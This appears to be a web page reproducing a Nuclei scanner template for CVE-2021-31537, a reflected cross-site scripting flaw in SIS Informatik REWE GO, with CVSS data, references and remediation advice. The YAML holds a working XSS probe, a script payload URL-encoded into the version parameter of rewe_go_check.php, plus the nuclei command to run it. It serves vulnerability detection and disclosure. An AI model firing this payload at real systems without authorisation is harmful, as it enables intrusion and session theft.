SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting

ID: CVE-2021-31537

Severity: medium

Author: geeknik

Tags: cve2021,cve,xss,seclists,intrusive,sisinformatik

Description

SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).

YAML Source

id: CVE-2021-31537

info:
  name: SIS Informatik REWE GO SP17 <7.7 - Cross-Site Scripting
  author: geeknik
  severity: medium
  description: SIS Informatik REWE GO SP17 before 7.7 contains a cross-site scripting vulnerability via rewe/prod/web/index.php (affected parameters are config, version, win, db, pwd, and user) and /rewe/prod/web/rewe_go_check.php (version and all other parameters).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    To remediate this issue, ensure that all user-supplied input is properly validated and sanitized before being displayed on web pages.
  reference:
    - https://sec-consult.com/vulnerability-lab/advisory/reflected-xss-sis-infromatik-rewe-go-cve-2021-31537/
    - http://seclists.org/fulldisclosure/2021/May/20
    - https://sisinformatik.com/rewe-go/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31537
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-31537
    cwe-id: CWE-79
    epss-score: 0.00355
    epss-percentile: 0.71969
    cpe: cpe:2.3:a:sisinformatik:sis-rewe_go:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sisinformatik
    product: sis-rewe_go
  tags: cve2021,cve,xss,seclists,intrusive,sisinformatik

http:
  - method: GET
    path:
      - "{{BaseURL}}/rewe/prod/web/rewe_go_check.php?config=rewe&version=7.5.0%3cscript%3econfirm({{randstr}})%3c%2fscript%3e&win=2707"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <script>confirm({{randstr}})</script>
          - SIS-REWE
        condition: and

      - type: word
        part: header
        words:
          - text/html
# digest: 490a004630440220078c15dc6b960222c9f8c760f1bd48ce5b6953dde57fe9f4e83e1cd017a8ffbb02201dacc9c9aa6d2037a07656863708ae78bee942290924355f8b0fa562d5f21c74:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-31537.yaml"

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